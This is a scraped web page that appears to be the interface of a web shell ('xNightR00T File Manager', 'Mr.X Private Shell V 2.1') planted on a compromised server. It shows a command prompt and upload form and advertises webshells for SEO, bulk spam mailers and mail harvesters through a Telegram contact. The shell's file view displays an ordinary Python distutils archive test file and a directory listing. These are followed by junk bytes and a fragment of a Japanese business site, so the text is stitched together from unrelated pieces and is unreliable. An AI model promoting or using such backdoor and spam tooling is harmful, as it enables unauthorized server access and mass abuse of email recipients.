xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# -*- coding: utf-8 -*-
"""Tests for distutils.archive_util."""
__revision__ = "$Id$"

import unittest
import os
import sys
import tarfile
from os.path import splitdrive
import warnings

from distutils.archive_util import (check_archive_formats, make_tarball,
                                    make_zipfile, make_archive,
                                    ARCHIVE_FORMATS)
from distutils.spawn import find_executable, spawn
from distutils.tests import support
from test.test_support import check_warnings, run_unittest

try:
    import grp
    import pwd
    UID_GID_SUPPORT = True
except ImportError:
    UID_GID_SUPPORT = False

try:
    import zipfile
    ZIP_SUPPORT = True
except ImportError:
    ZIP_SUPPORT = find_executable('zip')

# some tests will fail if zlib is not available
try:
    import zlib
except ImportError:
    zlib = None

def can_fs_encode(filename):
    """
    Return True if the filename can be saved in the file system.
    """
    if os.path.supports_unicode_filenames:
        return True
    try:
        filename.encode(sys.getfilesystemencoding())
    except UnicodeEncodeError:
        return False
    return True


class ArchiveUtilTestCase(support.TempdirManager,
                          support.LoggingSilencer,
                          unittest.TestCase):

    @unittest.skipUnless(zlib, "requires zlib")
    def test_make_tarball(self):
        self._make_tarball('archive')

    def _make_tarball(self, target_name):
        # creating something to tar
        tmpdir = self.mkdtemp()
        self.write_file([tmpdir, 'file1'], 'xxx')
        self.write_file([tmpdir, 'file2'], 'xxx')
        os.mkdir(os.path.join(tmpdir, 'sub'))
        self.write_file([tmpdir, 'sub', 'file3'], 'xxx')

        tmpdir2 = self.mkdtemp()
        unittest.skipUnless(splitdrive(tmpdir)[0] == splitdrive(tmpdir2)[0],
                            "source and target should be on same drive")

        base_name = os.path.join(tmpdir2, target_name)

        # working with relative paths to avoid tar warnings
        old_dir = os.getcwd()
        os.chdir(tmpdir)
        try:
            make_tarball(splitdrive(base_name)[1], '.')
        finally:
            os.chdir(old_dir)

        # check if the compressed tarball was created
        tarball = base_name + '.tar.gz'
        self.assertTrue(os.path.exists(tarball))

        # trying an uncompressed one
        base_name = os.path.join(tmpdir2, target_name)
        old_dir = os.getcwd()
        os.chdir(tmpdir)
        try:
            make_tarball(splitdrive(base_name)[1], '.', compress=None)
        finally:
            os.chdir(old_dir)
        tarball = base_name + '.tar'
        self.assertTrue(os.path.exists(tarball))

    def _tarinfo(self, path):
        tar = tarfile.open(path)
        try:
            names = tar.getnames()
            names.sort()
            return names
        finally:
            tar.close()

    def _create_files(self):
        # creating something to tar
        tmpdir = self.mkdtemp()
        dist = os.path.join(tmpdir, 'dist')
        os.mkdir(dist)
        self.write_file([dist, 'file1'], 'xxx')
        self.write_file([dist, 'file2'], 'xxx')
        os.mkdir(os.path.join(dist, 'sub'))
        self.write_file([dist, 'sub', 'file3'], 'xxx')
        os.mkdir(os.path.join(dist, 'sub2'))
        tmpdir2 = self.mkdtemp()
        base_name = os.path.join(tmpdir2, 'archive')
        return tmpdir, tmpdir2, base_name

    @unittest.skipUnless(zlib, "Requires zlib")
    @unittest.skipUnless(find_executable('tar') and find_executable('gzip'),
                         'Need the tar command to run')
    def test_tarfile_vs_tar(self):
        tmpdir, tmpdir2, base_name =  self._create_files()
        old_dir = os.getcwd()
        os.chdir(tmpdir)
        try:
            make_tarball(base_name, 'dist')
        finally:
            os.chdir(old_dir)

        # check if the compressed tarball was created
        tarball = base_name + '.tar.gz'
        self.assertTrue(os.path.exists(tarball))

        # now create another tarball using `tar`
        tarball2 = os.path.join(tmpdir, 'archive2.tar.gz')
        tar_cmd = ['tar', '-cf', 'archive2.tar', 'dist']
        gzip_cmd = ['gzip', '-f9', 'archive2.tar']
        old_dir = os.getcwd()
        os.chdir(tmpdir)
        try:
            spawn(tar_cmd)
            spawn(gzip_cmd)
        finally:
            os.chdir(old_dir)

        self.assertTrue(os.path.exists(tarball2))
        # let's compare both tarballs
        self.assertEqual(self._tarinfo(tarball), self._tarinfo(tarball2))

        # trying an uncompressed one
        base_name = os.path.join(tmpdir2, 'archive')
        old_dir = os.getcwd()
        os.chdir(tmpdir)
        try:
            make_tarball(base_name, 'dist', compress=None)
        finally:
            os.chdir(old_dir)
        tarball = base_name + '.tar'
        self.assertTrue(os.path.exists(tarball))

        # now for a dry_run
        base_name = os.path.join(tmpdir2, 'archive')
        old_dir = os.getcwd()
        os.chdir(tmpdir)
        try:
            make_tarball(base_name, 'dist', compress=None, dry_run=True)
        finally:
            os.chdir(old_dir)
        tarball = base_name + '.tar'
        self.assertTrue(os.path.exists(tarball))

    @unittest.skipUnless(find_executable('compress'),
                         'The compress program is required')
    def test_compress_deprecated(self):
        tmpdir, tmpdir2, base_name =  self._create_files()

        # using compress and testing the PendingDeprecationWarning
        old_dir = os.getcwd()
        os.chdir(tmpdir)
        try:
            with check_warnings() as w:
                warnings.simplefilter("always")
                make_tarball(base_name, 'dist', compress='compress')
        finally:
            os.chdir(old_dir)
        tarball = base_name + '.tar.Z'
        self.assertTrue(os.path.exists(tarball))
        self.assertEqual(len(w.warnings), 1)

        # same test with dry_run
        os.remove(tarball)
        old_dir = os.getcwd()
        os.chdir(tmpdir)
        try:
            with check_warnings() as w:
                warnings.simplefilter("always")
                make_tarball(base_name, 'dist', compress='compress',
                             dry_run=True)
        finally:
            os.chdir(old_dir)
        self.assertFalse(os.path.exists(tarball))
        self.assertEqual(len(w.warnings), 1)

    @unittest.skipUnless(zlib, "Requires zlib")
    @unittest.skipUnless(ZIP_SUPPORT, 'Need zip support to run')
    def test_make_zipfile(self):
        # creating something to tar
        tmpdir = self.mkdtemp()
        self.write_file([tmpdir, 'file1'], 'xxx')
        self.write_file([tmpdir, 'file2'], 'xxx')

        tmpdir2 = self.mkdtemp()
        base_name = os.path.join(tmpdir2, 'archive')
        make_zipfile(base_name, tmpdir)

        # check if the compressed tarball was created
        tarball = base_name + '.zip'

    def test_check_archive_formats(self):
        self.assertEqual(check_archive_formats(['gztar', 'xxx', 'zip']),
                         'xxx')
        self.assertEqual(check_archive_formats(['gztar', 'zip']), None)

    def test_make_archive(self):
        tmpdir = self.mkdtemp()
        base_name = os.path.join(tmpdir, 'archive')
        self.assertRaises(ValueError, make_archive, base_name, 'xxx')

    @unittest.skipUnless(zlib, "Requires zlib")
    def test_make_archive_owner_group(self):
        # testing make_archive with owner and group, with various combinations
        # this works even if there's not gid/uid support
        if UID_GID_SUPPORT:
            group = grp.getgrgid(0)[0]
            owner = pwd.getpwuid(0)[0]
        else:
            group = owner = 'root'

        base_dir, root_dir, base_name =  self._create_files()
        base_name = os.path.join(self.mkdtemp() , 'archive')
        res = make_archive(base_name, 'zip', root_dir, base_dir, owner=owner,
                           group=group)
        self.assertTrue(os.path.exists(res))

        res = make_archive(base_name, 'zip', root_dir, base_dir)
        self.assertTrue(os.path.exists(res))

        res = make_archive(base_name, 'tar', root_dir, base_dir,
                           owner=owner, group=group)
        self.assertTrue(os.path.exists(res))

        res = make_archive(base_name, 'tar', root_dir, base_dir,
                           owner='kjhkjhkjg', group='oihohoh')
        self.assertTrue(os.path.exists(res))

    @unittest.skipUnless(zlib, "Requires zlib")
    @unittest.skipUnless(UID_GID_SUPPORT, "Requires grp and pwd support")
    def test_tarfile_root_owner(self):
        tmpdir, tmpdir2, base_name =  self._create_files()
        old_dir = os.getcwd()
        os.chdir(tmpdir)
        group = grp.getgrgid(0)[0]
        owner = pwd.getpwuid(0)[0]
        try:
            archive_name = make_tarball(base_name, 'dist', compress=None,
                                        owner=owner, group=group)
        finally:
            os.chdir(old_dir)

        # check if the compressed tarball was created
        self.assertTrue(os.path.exists(archive_name))

        # now checks the rights
        archive = tarfile.open(archive_name)
        try:
            for member in archive.getmembers():
                self.assertEqual(member.uid, 0)
                self.assertEqual(member.gid, 0)
        finally:
            archive.close()

    def test_make_archive_cwd(self):
        current_dir = os.getcwd()
        def _breaks(*args, **kw):
            raise RuntimeError()
        ARCHIVE_FORMATS['xxx'] = (_breaks, [], 'xxx file')
        try:
            try:
                make_archive('xxx', 'xxx', root_dir=self.mkdtemp())
            except:
                pass
            self.assertEqual(os.getcwd(), current_dir)
        finally:
            del ARCHIVE_FORMATS['xxx']

    @unittest.skipUnless(zlib, "requires zlib")
    def test_make_tarball_unicode(self):
        """
        Mirror test_make_tarball, except filename is unicode.
        """
        self._make_tarball(u'archive')

    @unittest.skipUnless(zlib, "requires zlib")
    @unittest.skipUnless(can_fs_encode(u'årchiv'),
        'File system cannot handle this filename')
    def test_make_tarball_unicode_latin1(self):
        """
        Mirror test_make_tarball, except filename is unicode and contains
        latin characters.
        """
        self._make_tarball(u'årchiv') # note this isn't a real word

    @unittest.skipUnless(zlib, "requires zlib")
    @unittest.skipUnless(can_fs_encode(u'のアーカイブ'),
        'File system cannot handle this filename')
    def test_make_tarball_unicode_extended(self):
        """
        Mirror test_make_tarball, except filename is unicode and contains
        characters outside the latin charset.
        """
        self._make_tarball(u'のアーカイブ') # japanese for archive

def test_suite():
    return unittest.makeSuite(ArchiveUtilTestCase)

if __name__ == "__main__":
    run_unittest(test_suite())

Filemanager

Name Type Size Permission Actions
Setup.sample File 2.2 KB 0644
__init__.py File 1.04 KB 0644
__init__.pyc File 1.43 KB 0644
__init__.pyo File 1.43 KB 0644
includetest.rst File 25 B 0644
setuptools_build_ext.py File 11.22 KB 0644
setuptools_build_ext.pyc File 9.87 KB 0644
setuptools_build_ext.pyo File 9.83 KB 0644
setuptools_extension.py File 1.55 KB 0644
setuptools_extension.pyc File 2.1 KB 0644
setuptools_extension.pyo File 2.1 KB 0644
support.py File 6.81 KB 0644
support.pyc File 8.99 KB 0644
support.pyo File 8.99 KB 0644
test_archive_util.py File 10.8 KB 0644
test_archive_util.pyc File 10.14 KB 0644
test_archive_util.pyo File 10.14 KB 0644
test_bdist.py File 1.51 KB 0644
test_bdist.pyc File 1.98 KB 0644
test_bdist.pyo File 1.98 KB 0644
test_bdist_dumb.py File 3.47 KB 0644
test_bdist_dumb.pyc File 3.98 KB 0644
test_bdist_dumb.pyo File 3.98 KB 0644
test_bdist_msi.py File 733 B 0644
test_bdist_msi.pyc File 1.33 KB 0644
test_bdist_msi.pyo File 1.33 KB 0644
test_bdist_rpm.py File 4.93 KB 0644
test_bdist_rpm.pyc File 4.86 KB 0644
test_bdist_rpm.pyo File 4.86 KB 0644
test_bdist_wininst.py File 1.02 KB 0644
test_bdist_wininst.pyc File 1.33 KB 0644
test_bdist_wininst.pyo File 1.33 KB 0644
test_build.py File 1.88 KB 0644
test_build.pyc File 1.99 KB 0644
test_build.pyo File 1.99 KB 0644
test_build_clib.py File 4.87 KB 0644
test_build_clib.pyc File 4.76 KB 0644
test_build_clib.pyo File 4.76 KB 0644
test_build_ext.py File 19.69 KB 0644
test_build_ext.pyc File 15.46 KB 0644
test_build_ext.pyo File 15.46 KB 0644
test_build_py.py File 4.95 KB 0644
test_build_py.pyc File 4.6 KB 0644
test_build_py.pyo File 4.6 KB 0644
test_build_scripts.py File 3.5 KB 0644
test_build_scripts.pyc File 3.76 KB 0644
test_build_scripts.pyo File 3.76 KB 0644
test_ccompiler.py File 3.34 KB 0644
test_ccompiler.pyc File 4.92 KB 0644
test_ccompiler.pyo File 4.92 KB 0644
test_check.py File 5.61 KB 0644
test_check.pyc File 4.92 KB 0644
test_check.pyo File 4.92 KB 0644
test_clean.py File 1.44 KB 0644
test_clean.pyc File 1.84 KB 0644
test_clean.pyo File 1.84 KB 0644
test_cmd.py File 3.75 KB 0644
test_cmd.pyc File 5.08 KB 0644
test_cmd.pyo File 5.08 KB 0644
test_config.py File 3.11 KB 0644
test_config.pyc File 4.16 KB 0644
test_config.pyo File 4.16 KB 0644
test_config_cmd.py File 2.55 KB 0644
test_config_cmd.pyc File 3.81 KB 0644
test_config_cmd.pyo File 3.81 KB 0644
test_core.py File 3.09 KB 0644
test_core.pyc File 3.85 KB 0644
test_core.pyo File 3.85 KB 0644
test_dep_util.py File 2.77 KB 0644
test_dep_util.pyc File 2.82 KB 0644
test_dep_util.pyo File 2.82 KB 0644
test_dir_util.py File 4.28 KB 0644
test_dir_util.pyc File 5.14 KB 0644
test_dir_util.pyo File 5.14 KB 0644
test_dist.py File 15.48 KB 0644
test_dist.pyc File 16.31 KB 0644
test_dist.pyo File 16.31 KB 0644
test_file_util.py File 4 KB 0644
test_file_util.pyc File 4.96 KB 0644
test_file_util.pyo File 4.96 KB 0644
test_filelist.py File 9.84 KB 0644
test_filelist.pyc File 8.67 KB 0644
test_filelist.pyo File 8.67 KB 0644
test_install.py File 8.26 KB 0644
test_install.pyc File 8 KB 0644
test_install.pyo File 8 KB 0644
test_install_data.py File 2.55 KB 0644
test_install_data.pyc File 2.5 KB 0644
test_install_data.pyo File 2.5 KB 0644
test_install_headers.py File 1.24 KB 0644
test_install_headers.pyc File 1.74 KB 0644
test_install_headers.pyo File 1.74 KB 0644
test_install_lib.py File 3.51 KB 0644
test_install_lib.pyc File 4.17 KB 0644
test_install_lib.pyo File 4.17 KB 0644
test_install_scripts.py File 2.57 KB 0644
test_install_scripts.pyc File 2.92 KB 0644
test_install_scripts.pyo File 2.92 KB 0644
test_msvc9compiler.py File 5.91 KB 0644
test_msvc9compiler.pyc File 6.04 KB 0644
test_msvc9compiler.pyo File 6.04 KB 0644
test_register.py File 8.63 KB 0644
test_register.pyc File 8.43 KB 0644
test_register.pyo File 8.43 KB 0644
test_sdist.py File 17.07 KB 0644
test_sdist.pyc File 14.27 KB 0644
test_sdist.pyo File 14.27 KB 0644
test_spawn.py File 3.55 KB 0644
test_spawn.pyc File 3.3 KB 0644
test_spawn.pyo File 3.3 KB 0644
test_sysconfig.py File 9.16 KB 0644
test_sysconfig.pyc File 8.33 KB 0644
test_sysconfig.pyo File 8.33 KB 0644
test_text_file.py File 3.36 KB 0644
test_text_file.pyc File 2.78 KB 0644
test_text_file.pyo File 2.78 KB 0644
test_unixccompiler.py File 4.92 KB 0644
test_unixccompiler.pyc File 5.83 KB 0644
test_unixccompiler.pyo File 5.83 KB 0644
test_upload.py File 4.9 KB 0644
test_upload.pyc File 5.88 KB 0644
test_upload.pyo File 5.88 KB 0644
test_util.py File 2.34 KB 0644
test_util.pyc File 3.11 KB 0644
test_util.pyo File 3.11 KB 0644
test_version.py File 2.56 KB 0644
test_version.pyc File 3.13 KB 0644
test_version.pyo File 3.13 KB 0644
test_versionpredicate.py File 285 B 0644
test_versionpredicate.pyc File 653 B 0644
test_versionpredicate.pyo File 653 B 0644
xxmodule.c File 11.73 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
admin f – ページ 2 – Seiko Business Matching
12月 17, 2023
日本ASEAN友好協力50周年特別首脳会議および二国 […]
12月 14, 2023
特殊記事
詳細ウェブサイトへ
7月 25, 2023
特殊記事
詳細ウェブサイトへ
7月 11, 2023